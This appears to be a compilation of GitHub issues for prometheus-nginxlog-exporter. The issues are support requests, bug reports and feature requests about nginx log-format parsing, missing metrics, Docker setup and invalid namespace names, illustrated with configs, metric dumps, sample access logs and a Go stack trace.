loading configuration file /etc/prometheus-nginxlog-exporter.hcl
using configuration {{%!s(int=4040) 0.0.0.0} {%!s(bool=false)     {  []}} [{dotcom [/var/log/nginx/access.log] $proxy_protocol_addr - $remote_addr - $http_host - [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" $upstream_response_time map[app:dotcomapp environment:production] [] [] []}] %!s(bool=false)}
starting listener for namespace dotcom
running HTTP server on address 0.0.0.0:4040
2018/04/17 08:47:43 Waiting for /var/log/nginx/access.log to appear...

Not getting http response metrics

Hi Martin ,

I have been using nginx exporter module to collect metrics such as https requests and http response metrics count . Have referred this blog to perform the same "https://www.martin-helmich.de/en/blog/monitoring-nginx.html"

Currently in dropdown i am getting metrics only related to http requests metrics .I have changed my nginx log format as shown below :

'$remote_addr - $remote_user [$time_local] ''"$request" $status $body_bytes_sent ''"$http_referer" "$http_user_agent" ''$request_time $upstream_response_time $pipe';

However i dont see any metrics related to http response . Please assist me .

JSON File Support

Issue type:
Feature request

I'd like to add support for JSON log files. What are your feelings about this?

Support upstream

Feature request
Support request

Is possible to support upstream metrics for a typical nginx TCP load balancer?

I have a custom log for my load balancer:

log_format basic '$remote_addr - - [$time_local] $protocol $status $bytes_sent $bytes_received $session_time "$upstream_addr"';

Regards

Convert invalid namespaces values automatically

Follow-up on an idea provided by @jorinvo in #37:

In my case I would like it the most if dashes are converted to underscores since that would save be word in pre-formatting the string in Ansible.

Parsing error

Issue type:

Support request

How to reproduce it:

    format: '$http_true_client_ip/$remote_addr [$time_local] "$request" $status $sent_http_content_type $body_bytes_sent $request_time "$http_referer" "$http_user_agent" "$http_accept_language" $upstream_addr $upstream_status $upstream_response_time $host:$server_port $remote_port'

What happened:

nginx_log_parse_errors_total is increasing.

Example log file

-/1.2.3.4 [12/Jul/2019:17:07:16 +0900] "GET /foobar HTTP/2.0" 200 text/html; charset=utf-8 8737 0.047 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3850.0 Safari/537.36" "en-US,en;q=0.9,ko;q=0.8" 127.0.0.1:3001 200 0.048 domain.com:443 50978
-/1.2.3.4 [12/Jul/2019:17:08:01 +0900] "GET /favicon-32x32.png HTTP/2.0" 200 image/png 1164 0.003 "domain.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "ko,en-US;q=0.9,en;q=0.8" 127.0.0.1:3001 200 0.002 domain.com:443 51028

Environment:

Exporter version: v1.3.0
OS (e.g. from /etc/os-release): CentOS 7

Missing metrics on Grafana

Hello,

I followed your instructions to get prometheus-nginxlog-exporter installed on my nginx node, so it is working and providing metrics, but there isn't any thing similar to the queries that you use in Grafana.

I'm getting the following:

# HELP go_gc_duration_seconds A summary of the GC invocation durations.
# TYPE go_gc_duration_seconds summary
go_gc_duration_seconds{quantile="0"} 0.00010609
go_gc_duration_seconds{quantile="0.25"} 0.00010609
go_gc_duration_seconds{quantile="0.5"} 0.000119762
go_gc_duration_seconds{quantile="0.75"} 0.000119762
go_gc_duration_seconds{quantile="1"} 0.000119762
go_gc_duration_seconds_sum 0.000225852
go_gc_duration_seconds_count 2
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 14
# HELP go_memstats_alloc_bytes Number of bytes allocated and still in use.
# TYPE go_memstats_alloc_bytes gauge
go_memstats_alloc_bytes 1.61784e+06
# HELP go_memstats_alloc_bytes_total Total number of bytes allocated, even if freed.
# TYPE go_memstats_alloc_bytes_total counter
go_memstats_alloc_bytes_total 7.487352e+06
# HELP go_memstats_buck_hash_sys_bytes Number of bytes used by the profiling bucket hash table.
# TYPE go_memstats_buck_hash_sys_bytes gauge
go_memstats_buck_hash_sys_bytes 1.445075e+06
# HELP go_memstats_frees_total Total number of frees.
# TYPE go_memstats_frees_total counter
go_memstats_frees_total 11234
# HELP go_memstats_gc_sys_bytes Number of bytes used for garbage collection system metadata.
# TYPE go_memstats_gc_sys_bytes gauge
go_memstats_gc_sys_bytes 405504
# HELP go_memstats_heap_alloc_bytes Number of heap bytes allocated and still in use.
# TYPE go_memstats_heap_alloc_bytes gauge
go_memstats_heap_alloc_bytes 1.61784e+06
# HELP go_memstats_heap_idle_bytes Number of heap bytes waiting to be used.
# TYPE go_memstats_heap_idle_bytes gauge
go_memstats_heap_idle_bytes 2.94912e+06
# HELP go_memstats_heap_inuse_bytes Number of heap bytes that are in use.
# TYPE go_memstats_heap_inuse_bytes gauge
go_memstats_heap_inuse_bytes 2.424832e+06
# HELP go_memstats_heap_objects Number of allocated objects.
# TYPE go_memstats_heap_objects gauge
go_memstats_heap_objects 5961
# HELP go_memstats_heap_released_bytes_total Total number of heap bytes released to OS.
# TYPE go_memstats_heap_released_bytes_total counter
go_memstats_heap_released_bytes_total 0
# HELP go_memstats_heap_sys_bytes Number of heap bytes obtained from system.
# TYPE go_memstats_heap_sys_bytes gauge
go_memstats_heap_sys_bytes 5.373952e+06
# HELP go_memstats_last_gc_time_seconds Number of seconds since 1970 of last garbage collection.
# TYPE go_memstats_last_gc_time_seconds gauge
go_memstats_last_gc_time_seconds 1.5150157159249094e+09
# HELP go_memstats_lookups_total Total number of pointer lookups.
# TYPE go_memstats_lookups_total counter
go_memstats_lookups_total 93
# HELP go_memstats_mallocs_total Total number of mallocs.
# TYPE go_memstats_mallocs_total counter
go_memstats_mallocs_total 17195
# HELP go_memstats_mcache_inuse_bytes Number of bytes in use by mcache structures.
# TYPE go_memstats_mcache_inuse_bytes gauge
go_memstats_mcache_inuse_bytes 27776
# HELP go_memstats_mcache_sys_bytes Number of bytes used for mcache structures obtained from system.
# TYPE go_memstats_mcache_sys_bytes gauge
go_memstats_mcache_sys_bytes 32768
# HELP go_memstats_mspan_inuse_bytes Number of bytes in use by mspan structures.
# TYPE go_memstats_mspan_inuse_bytes gauge
go_memstats_mspan_inuse_bytes 31160
# HELP go_memstats_mspan_sys_bytes Number of bytes used for mspan structures obtained from system.
# TYPE go_memstats_mspan_sys_bytes gauge
go_memstats_mspan_sys_bytes 49152
# HELP go_memstats_next_gc_bytes Number of heap bytes when next garbage collection will take place.
# TYPE go_memstats_next_gc_bytes gauge
go_memstats_next_gc_bytes 4.194304e+06
# HELP go_memstats_other_sys_bytes Number of bytes used for other system allocations.
# TYPE go_memstats_other_sys_bytes gauge
go_memstats_other_sys_bytes 1.023013e+06
# HELP go_memstats_stack_inuse_bytes Number of bytes in use by the stack allocator.
# TYPE go_memstats_stack_inuse_bytes gauge
go_memstats_stack_inuse_bytes 917504
# HELP go_memstats_stack_sys_bytes Number of bytes obtained from system for stack allocator.
# TYPE go_memstats_stack_sys_bytes gauge
go_memstats_stack_sys_bytes 917504
# HELP go_memstats_sys_bytes Number of bytes obtained by system. Sum of all system allocations.
# TYPE go_memstats_sys_bytes gauge
go_memstats_sys_bytes 9.246968e+06
# HELP http_request_duration_microseconds The HTTP request latencies in microseconds.
# TYPE http_request_duration_microseconds summary
http_request_duration_microseconds{handler="prometheus",quantile="0.5"} 1880.586
http_request_duration_microseconds{handler="prometheus",quantile="0.9"} 2703.691
http_request_duration_microseconds{handler="prometheus",quantile="0.99"} 2703.691
http_request_duration_microseconds_sum{handler="prometheus"} 14334.25
http_request_duration_microseconds_count{handler="prometheus"} 7
# HELP http_request_size_bytes The HTTP request sizes in bytes.
# TYPE http_request_size_bytes summary
http_request_size_bytes{handler="prometheus",quantile="0.5"} 432
http_request_size_bytes{handler="prometheus",quantile="0.9"} 432
http_request_size_bytes{handler="prometheus",quantile="0.99"} 432
http_request_size_bytes_sum{handler="prometheus"} 2773
http_request_size_bytes_count{handler="prometheus"} 7
# HELP http_requests_total Total number of HTTP requests made.
# TYPE http_requests_total counter
http_requests_total{code="200",handler="prometheus",method="get"} 7
# HELP http_response_size_bytes The HTTP response sizes in bytes.
# TYPE http_response_size_bytes summary
http_response_size_bytes{handler="prometheus",quantile="0.5"} 1318
http_response_size_bytes{handler="prometheus",quantile="0.9"} 1359
http_response_size_bytes{handler="prometheus",quantile="0.99"} 1359
http_response_size_bytes_sum{handler="prometheus"} 9293
http_response_size_bytes_count{handler="prometheus"} 7
# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.
# TYPE process_cpu_seconds_total counter
process_cpu_seconds_total 0.02
# HELP process_max_fds Maximum number of open file descriptors.
# TYPE process_max_fds gauge
process_max_fds 1024
# HELP process_open_fds Number of open file descriptors.
# TYPE process_open_fds gauge
process_open_fds 7
# HELP process_resident_memory_bytes Resident memory size in bytes.
# TYPE process_resident_memory_bytes gauge
process_resident_memory_bytes 7.757824e+06
# HELP process_start_time_seconds Start time of the process since unix epoch in seconds.
# TYPE process_start_time_seconds gauge
process_start_time_seconds 1.51501569491e+09
# HELP process_virtual_memory_bytes Virtual memory size in bytes.
# TYPE process_virtual_memory_bytes gauge
process_virtual_memory_bytes 1.517568e+07

I'm missing something?

Best Regards.

Keep a checkpoint of the last known log location

Issue type:
Feature request

What happened:
A particular server produces many GB of log a day. When I need to troubleshoot an issue by enabling an extra nginx field, the exporter will have to receive an updated config and subsequently be restarted. Due to the restart, the exporter re-parses the entire log file from the beginning to "now" which causes it to throw errors because the beginning of the file doesn't match the live config in the exporter. The result of this is missing metrics until the exporter catches up to "now". Sometimes this re-parsing can take upwards of an hour.

What you expected to happen:
I expect the nginx exporter to pick up where it left off after the exporter gets restarted instead of having to re-scan the entire log file.

Environment:

Exporter version: https://github.com/martin-helmich/prometheus-nginxlog-exporter/releases/tag/v1.3.0
OS (e.g. from /etc/os-release): CentOS 7

Thank you for this tool, it's been very helpful thus far.

Docker container failing to accept connections

Issue type:

Bug report

What happened:
Running the docker container with the below command:
docker run --name nginx-exporter -d -p 4040:4040 -v /home/purushotham:/var/log/nginx -v /home/purushotham/log_exporter.yaml:/etc/log_exporter.yaml quay.io/martinhelmich/prometheus-nginxlog-exporter -config-file /etc/log_exporter.yaml

Docker logs says below but when accessing localhost:4040/metrics getting the connection reset by peer error:

loading configuration file /etc/log_exporter.yaml
using configuration {{%!s(int=4040) localhost} {%!s(bool=false)     {  []}} [{dr_nginx [/var/log/nginx/access.log] $remote_addr "$request" map[] [] [] []}] %!s(bool=false)}
starting listener for namespace dr_nginx
running HTTP server on address localhost:4040

What you expected to happen:
Able to access the /metrics endpoint.

How to reproduce it (as minimally and precisely as possible):

Other important information:

Configuration file (remove section, if not applicable):

listen:
  port: 4040
  address: "localhost"

namespaces:
  - name: dr_nginx
    format: "$remote_addr \"$request\""
    source_files:
      - /var/log/nginx/access.log

Exporter output (remove section, if not applicable):

Not able to access the endpoint /metrics.

Example log file (remove section, if not applicable):

10.32.18.146 "HEAD /v2/ HTTP/1.1"

Environment:

Exporter version: latest, quay.io/martinhelmich/prometheus-nginxlog-exporter@sha256:a399a93dd30c54409d398d49ca31d81e5822ee656fe0b7c8b5c47a5d02eba8e6

log specific json format

I have a nginx server writing logs with this specific format:

log_format  access_log_json escape=json '{'
 "name"         : "$name",'
 "hostname"  : "$hostname",'
 "endpoint"   : "$endpoint",'
 '}';

I want to parse the above format to the hcl configuration.
I have made a lot of tries.
The last one :

 format {
    "name"        = "$name",
    "hostname"  = "$hostname",
    "endpoint"   = "$endpoint",
   }

I am getting this error :

panic: At 8:7: root.namespace[0].format: unknown type for string *ast.ObjectList

I am running on CENTOS 7

Could you please help me with the above issue ?

Can not view metric by/from log without system metric

Support request
Can not view metric by/from log

How to reproduce it (as minimally and precisely as possible):
Download https://github.com/martin-helmich/prometheus-nginxlog-exporter/releases/download/v1.3.0/prometheus-nginxlog-exporter

Other important information:

Configuration file (remove section, if not applicable):

listen {
  port = 4040
}


namespace "app1" {
  format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\""
  source {
    files = [
      "/var/log/nginx/access-main.log"
    ]
  }
  labels {
    app = "application-one"
    environment = "production"
    foo = "bar"
  }

  histogram_buckets = [.005, .01, .025, .05, .1, .25, .5, 1, 2.5, 5, 10]
}

Run:

./prometheus-nginxlog-exporter -config-file config.hcl

Metrics output (remove section, if not applicable):

# HELP app1_parse_errors_total Total number of log file lines that could not be parsed
# TYPE app1_parse_errors_total counter
app1_parse_errors_total 0
# HELP go_gc_duration_seconds A summary of the GC invocation durations.
# TYPE go_gc_duration_seconds summary
go_gc_duration_seconds{quantile="0"} 0
go_gc_duration_seconds{quantile="0.25"} 0
go_gc_duration_seconds{quantile="0.5"} 0
go_gc_duration_seconds{quantile="0.75"} 0
go_gc_duration_seconds{quantile="1"} 0
go_gc_duration_seconds_sum 0
go_gc_duration_seconds_count 0
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 12
# HELP go_memstats_alloc_bytes Number of bytes allocated and still in use.
# TYPE go_memstats_alloc_bytes gauge
go_memstats_alloc_bytes 1.603024e+06
# HELP go_memstats_alloc_bytes_total Total number of bytes allocated, even if freed.
# TYPE go_memstats_alloc_bytes_total counter
go_memstats_alloc_bytes_total 1.603024e+06
# HELP go_memstats_buck_hash_sys_bytes Number of bytes used by the profiling bucket hash table.
# TYPE go_memstats_buck_hash_sys_bytes gauge
go_memstats_buck_hash_sys_bytes 1.442999e+06
# HELP go_memstats_frees_total Total number of frees.
# TYPE go_memstats_frees_total counter
go_memstats_frees_total 373
# HELP go_memstats_gc_sys_bytes Number of bytes used for garbage collection system metadata.
# TYPE go_memstats_gc_sys_bytes gauge
go_memstats_gc_sys_bytes 2.240512e+06
# HELP go_memstats_heap_alloc_bytes Number of heap bytes allocated and still in use.
# TYPE go_memstats_heap_alloc_bytes gauge
go_memstats_heap_alloc_bytes 1.603024e+06
# HELP go_memstats_heap_idle_bytes Number of heap bytes waiting to be used.
# TYPE go_memstats_heap_idle_bytes gauge
go_memstats_heap_idle_bytes 6.422528e+07
# HELP go_memstats_heap_inuse_bytes Number of heap bytes that are in use.
# TYPE go_memstats_heap_inuse_bytes gauge
go_memstats_heap_inuse_bytes 2.4576e+06
# HELP go_memstats_heap_objects Number of allocated objects.
# TYPE go_memstats_heap_objects gauge
go_memstats_heap_objects 3581
# HELP go_memstats_heap_released_bytes_total Total number of heap bytes released to OS.
# TYPE go_memstats_heap_released_bytes_total counter
go_memstats_heap_released_bytes_total 0
# HELP go_memstats_heap_sys_bytes Number of heap bytes obtained from system.
# TYPE go_memstats_heap_sys_bytes gauge
go_memstats_heap_sys_bytes 6.668288e+07
# HELP go_memstats_last_gc_time_seconds Number of seconds since 1970 of last garbage collection.
# TYPE go_memstats_last_gc_time_seconds gauge
go_memstats_last_gc_time_seconds 0
# HELP go_memstats_lookups_total Total number of pointer lookups.
# TYPE go_memstats_lookups_total counter
go_memstats_lookups_total 0
# HELP go_memstats_mallocs_total Total number of mallocs.
# TYPE go_memstats_mallocs_total counter
go_memstats_mallocs_total 3954
# HELP go_memstats_mcache_inuse_bytes Number of bytes in use by mcache structures.
# TYPE go_memstats_mcache_inuse_bytes gauge
go_memstats_mcache_inuse_bytes 3472
# HELP go_memstats_mcache_sys_bytes Number of bytes used for mcache structures obtained from system.
# TYPE go_memstats_mcache_sys_bytes gauge
go_memstats_mcache_sys_bytes 16384
# HELP go_memstats_mspan_inuse_bytes Number of bytes in use by mspan structures.
# TYPE go_memstats_mspan_inuse_bytes gauge
go_memstats_mspan_inuse_bytes 22464
# HELP go_memstats_mspan_sys_bytes Number of bytes used for mspan structures obtained from system.
# TYPE go_memstats_mspan_sys_bytes gauge
go_memstats_mspan_sys_bytes 32768
# HELP go_memstats_next_gc_bytes Number of heap bytes when next garbage collection will take place.
# TYPE go_memstats_next_gc_bytes gauge
go_memstats_next_gc_bytes 4.473924e+06
# HELP go_memstats_other_sys_bytes Number of bytes used for other system allocations.
# TYPE go_memstats_other_sys_bytes gauge
go_memstats_other_sys_bytes 789569
# HELP go_memstats_stack_inuse_bytes Number of bytes in use by the stack allocator.
# TYPE go_memstats_stack_inuse_bytes gauge
go_memstats_stack_inuse_bytes 425984
# HELP go_memstats_stack_sys_bytes Number of bytes obtained from system for stack allocator.
# TYPE go_memstats_stack_sys_bytes gauge
go_memstats_stack_sys_bytes 425984
# HELP go_memstats_sys_bytes Number of bytes obtained by system. Sum of all system allocations.
# TYPE go_memstats_sys_bytes gauge
go_memstats_sys_bytes 7.1631096e+07
# HELP http_request_duration_microseconds The HTTP request latencies in microseconds.
# TYPE http_request_duration_microseconds summary
http_request_duration_microseconds{handler="prometheus",quantile="0.5"} 1975.627
http_request_duration_microseconds{handler="prometheus",quantile="0.9"} 1975.627
http_request_duration_microseconds{handler="prometheus",quantile="0.99"} 1975.627
http_request_duration_microseconds_sum{handler="prometheus"} 1975.627
http_request_duration_microseconds_count{handler="prometheus"} 1
# HELP http_request_size_bytes The HTTP request sizes in bytes.
# TYPE http_request_size_bytes summary
http_request_size_bytes{handler="prometheus",quantile="0.5"} 444
http_request_size_bytes{handler="prometheus",quantile="0.9"} 444
http_request_size_bytes{handler="prometheus",quantile="0.99"} 444
http_request_size_bytes_sum{handler="prometheus"} 444
http_request_size_bytes_count{handler="prometheus"} 1
# HELP http_requests_total Total number of HTTP requests made.
# TYPE http_requests_total counter
http_requests_total{code="200",handler="prometheus",method="get"} 1
# HELP http_response_size_bytes The HTTP response sizes in bytes.
# TYPE http_response_size_bytes summary
http_response_size_bytes{handler="prometheus",quantile="0.5"} 1309
http_response_size_bytes{handler="prometheus",quantile="0.9"} 1309
http_response_size_bytes{handler="prometheus",quantile="0.99"} 1309
http_response_size_bytes_sum{handler="prometheus"} 1309
http_response_size_bytes_count{handler="prometheus"} 1
# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.
# TYPE process_cpu_seconds_total counter
process_cpu_seconds_total 0
# HELP process_max_fds Maximum number of open file descriptors.
# TYPE process_max_fds gauge
process_max_fds 1024
# HELP process_open_fds Number of open file descriptors.
# TYPE process_open_fds gauge
process_open_fds 7
# HELP process_resident_memory_bytes Resident memory size in bytes.
# TYPE process_resident_memory_bytes gauge
process_resident_memory_bytes 4.866048e+06
# HELP process_start_time_seconds Start time of the process since unix epoch in seconds.
# TYPE process_start_time_seconds gauge
process_start_time_seconds 1.57725037049e+09
# HELP process_virtual_memory_bytes Virtual memory size in bytes.
# TYPE process_virtual_memory_bytes gauge
process_virtual_memory_bytes 1.1288576e+08

Exporter output (remove section, if not applicable):

loading configuration file config.hcl
using configuration {Listen:{Port:4040 Address:0.0.0.0} Consul:{Enable:false Address: Datacenter: Scheme: Token: Service:{ID: Name: Tags:[]}} Namespaces:[{Name:app1 SourceFiles:[] Format:$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" Labels:map[app:application-one environment:production foo:bar] RelabelConfigs:[] HistogramBuckets:[0.005 0.01 0.025 0.05 0.1 0.25 0.5 1 2.5 5 10] OrderedLabelNames:[] OrderedLabelValues:[]}] EnableExperimentalFeatures:false EnableExperimentalFeaturesOld:false}
starting listener for namespace app1
running HTTP server on address 0.0.0.0:4040

Example log file (remove section, if not applicable):

10.rr.ii.yy - - [25/Dec/2019:08:06:42 +0300] "GET /offsets/topic/xxx-xxx/partition/0 HTTP/1.1" 200 96 "-" "Java/11.0.2" "-"
10.rr.ii.yy - - [25/Dec/2019:08:06:42 +0300] "GET /api/v2/topics/xxx-xxxx/partitions/0/offsets HTTP/1.1" 200 68 "-" "Java/11.0.2" "-"
10.rr.ii.yy - - [25/Dec/2019:08:06:42 +0300] "GET /api/v2/topics/xxxxxx/partitions/2/messages?offset=96&count=10 HTTP/1.1" 200 41 "-" "Java/11.0.2" "-"

Environment:

Exporter version:
1.3.0
OS (e.g. from /etc/os-release):
cat /etc/redhat-release
CentOS Linux release 7.6.1810 (Core)

[Question] How can I grab mertics for response time and other?

Issue type:

Support request

What happened:
Your project readme says: Keep in mind that some of these metrics will require certain values to be present in your access log format

And this line confuses: The exporter exports the <namespace>_http_response_count_total metric, but not [other metric that is mentioned in the README]!

What you expected to happen:
I expected logic behavior, as I've defined proper variables, I don't see any of them on /metrics paje

How to reproduce it (as minimally and precisely as possible):
NGINX conf:

log_format upstream_time '$remote_addr - [$time_local] '
                         '"$request" $status $body_bytes_sent '
                         '"$http_referer" "$http_user_agent" '
                         'rt="$request_time" uct="$upstream_connect_time" uht="$upstream_header_time" urt="$upstream_response_time"';

Exporter's conf:

    format = "$remote_addr - [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" $upstream_response_time"

Other important information:

Configuration file (remove section, if not applicable):

# Please post the contents of your configuration file, here

Metrics output (remove section, if not applicable):

# Please post the output of the exporter's /metrics endpoint, if applicable

Exporter output (remove section, if not applicable):

Oct 19 15:52:06 proxy-com prometheus-nginxlog-exporter[27893]: loading configuration file /etc/prometheus-nginxlog-exporter.hcl
Oct 19 15:52:06 proxy-com prometheus-nginxlog-exporter[27893]: using configuration {Listen:{Port:4040 Address:0.0.0.0} Consul:{Enable:false Address: 
Oct 19 15:52:06 proxy-com prometheus-nginxlog-exporter[27893]: starting listener for namespace nginx
Oct 19 15:52:06 proxy-com prometheus-nginxlog-exporter[27893]: running HTTP server on address 0.0.0.0:4040
Oct 19 15:52:06 proxy-com prometheus-nginxlog-exporter[27893]: 2019/10/19 15:52:06 Seeked /var/log/nginx/access.log - &{Offset:0 Whence:2}

# Please post the output of the exporter itself, if applicable

Example log file (remove section, if not applicable):

1.1.1.1 - [19/Oct/2019:15:56:55 +0300] "POST /ru/ HTTP/1.1" 200 64 "URL_REQUESTED" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Mobile/15E148 Safari/604.1" rt="4.711" uct="0.001" uht="4.699" urt="4.699"

# Please post an excerpt of a log file that can be used to reproduce the error
# Keep the excerpt as short as possible and make sure to redact any sensitive data.

Environment:

Exporter version: Latest from GH releases
OS (e.g. from /etc/os-release): Ubuntu 18.04
Others:

Raise error if access log file is present, but cannot be opened

If an access log file cannot be opened due to missing permissions, the exporter should terminate with an exit code.

See #20 for more information.

Multi upstreams support

Issue type: Support request
I have a problem with parsing multi upstreams.
Here the example of prometheus-nginxlog-exporter config

listen {
  port = 4040
}

namespace "test" {
  format = "[proxy ($upstream_cache_status) : $upstream_addr $upstream_response_time $upstream_status ]"
  source_files = [
    "test.log"
  ]
}

Here the test.log

[proxy (-) : 127.0.0.1:80, [::]:80 0.000, 0.001 502, 200 ]
[proxy (-) : [::]:9000 0.028 200 ]
[proxy (-) : [::]:9000 0.028 200 ]
[proxy (-) : 127.0.0.1:80, [::]:80 0.000, 0.001 502, 200 ]

Error log from prometheus-nginxlog-exporter

error while parsing line '[proxy (-) : 127.0.0.1:80, [::]:80 0.000, 0.001 502, 200 ]': access log line '[proxy (-) : 127.0.0.1:80, [::]:80 0.000, 0.001 502, 200 ]' does not match given format '^\[proxy \((?P<upstream_cache_status>[^)]*)\) : (?P<upstream_addr>[^ ]*) (?P<upstream_response_time>[^ ]*) (?P<upstream_status>[^ ]*) \]'
error while parsing line '[proxy (-) : 127.0.0.1:80, [::]:80 0.000, 0.001 502, 200 ]': access log line '[proxy (-) : 127.0.0.1:80, [::]:80 0.000, 0.001 502, 200 ]' does not match given format '^\[proxy \((?P<upstream_cache_status>[^)]*)\) : (?P<upstream_addr>[^ ]*) (?P<upstream_response_time>[^ ]*) (?P<upstream_status>[^ ]*) \]

What am i doing wrong? Is it possible to use regexp inside format?

Exporter version: 1.30

upstreamSeconds and responseSeconds data type defined Histogram should be better?

Sometimes our service running on multiple Nginx, if we use Histogram type , web can calculate with Prometheus server.

Prometheus -nginxlog-exporter throws errors

Issue type:

Support request

What happened:
execute: ./prometheus-nginxlog-exporter -config-file ./exporter-config.yml

loading configuration file ./exporter-config.yml
using configuration {Listen:{Port:3309 Address:10.20.11.117} Consul:{Enable:false Address: Datacenter: Scheme: Token: Service:{ID: Name: Tags:[]}} Namespaces:[{Name:nginx-log SourceFiles:[/opt/nginx/log/access.log] Format:$proxy_protocol_addr - $remote_addr - $http_host - [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" $upstream_response_time Labels:map[] RelabelConfigs:[] HistogramBuckets:[] OrderedLabelNames:[] OrderedLabelValues:[]}] EnableExperimentalFeatures:false EnableExperimentalFeaturesOld:false}
starting listener for namespace nginx-log
running HTTP server on address 10.20.11.117:3309
panic: descriptor Desc{fqName: "nginx-log_http_response_count_total", help: "Amount of processed HTTP requests", constLabels: {}, variableLabels: [method status]} is invalid: "nginx-log_http_response_count_total" is not a valid metric name

goroutine 35 [running]:
github.com/prometheus/client_golang/prometheus.(*Registry).MustRegister(0xc000024640, 0xc00005d250, 0x1, 0x1)
	/Golang/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:404 +0xad
github.com/prometheus/client_golang/prometheus.MustRegister(...)
	/Golang/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:152
main.(*Metrics).Init(0xc000024ac0, 0xc0000bdf40)
	/Golang/prometheus-nginxlog-exporter/main.go:108 +0x9a2
main.processNamespace(0xc00015e0a0, 0x9, 0xc000150220, 0x1, 0x1, 0xc00017a000, 0x9f, 0x0, 0x0, 0x0, ...)
	/Golang/prometheus-nginxlog-exporter/main.go:234 +0x90
created by main.main
	/Golang/prometheus-nginxlog-exporter/main.go:181 +0x904

What you expected to happen:

running

How to reproduce it (as minimally and precisely as possible):

./prometheus-nginxlog-exporter -config-file ./exporter-config.yml

Other important information:

Use the nginx default configuration

Configuration file (remove section, if not applicable):

listen:
  port: 3309
  address: "10.20.11.117"
namespaces:
   - name: nginx-log
     format: "$proxy_protocol_addr - $remote_addr - $http_host - [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" $upstream_response_time"
     # format: "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\""
     source_files:
       - /opt/nginx/log/access.log

# Please post the output of the exporter's /metrics endpoint, if applicable

Example log file (remove section, if not applicable):

nginx log

10.20.50.177 - - [28/Aug/2019:10:39:56 +0000] "GET /api/portal/app/3fffc15d-cc2a-4547-b166-40f5421ca5a9 HTTP/1.1" 200 1962 "http://10.20.11.117:8801/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:42:48 +0000] "GET /api/infos?page=0&rows=10 HTTP/1.1" 200 2268 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:43:42 +0000] "PUT /api/info HTTP/1.1" 200 218 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:43:42 +0000] "GET /api/infos?page=0&rows=10 HTTP/1.1" 200 2277 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:44:26 +0000] "GET /api/infos?page=0&rows=10 HTTP/1.1" 200 2277 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:44:54 +0000] "GET /api/routes?page=0&rows=10 HTTP/1.1" 200 3165 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:44:56 +0000] "GET /api/infos?page=0&rows=10 HTTP/1.1" 200 2277 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:01 +0000] "GET /api/routes?page=0&rows=10 HTTP/1.1" 200 3165 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:04 +0000] "GET /api/infos?page=0&rows=10 HTTP/1.1" 200 2277 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:06 +0000] "GET /api/routes?page=0&rows=10 HTTP/1.1" 200 3165 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:16 +0000] "PUT /api/route/7118145c-6bc9-43e1-854a-6e5330b86e40/maintain HTTP/1.1" 200 743 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
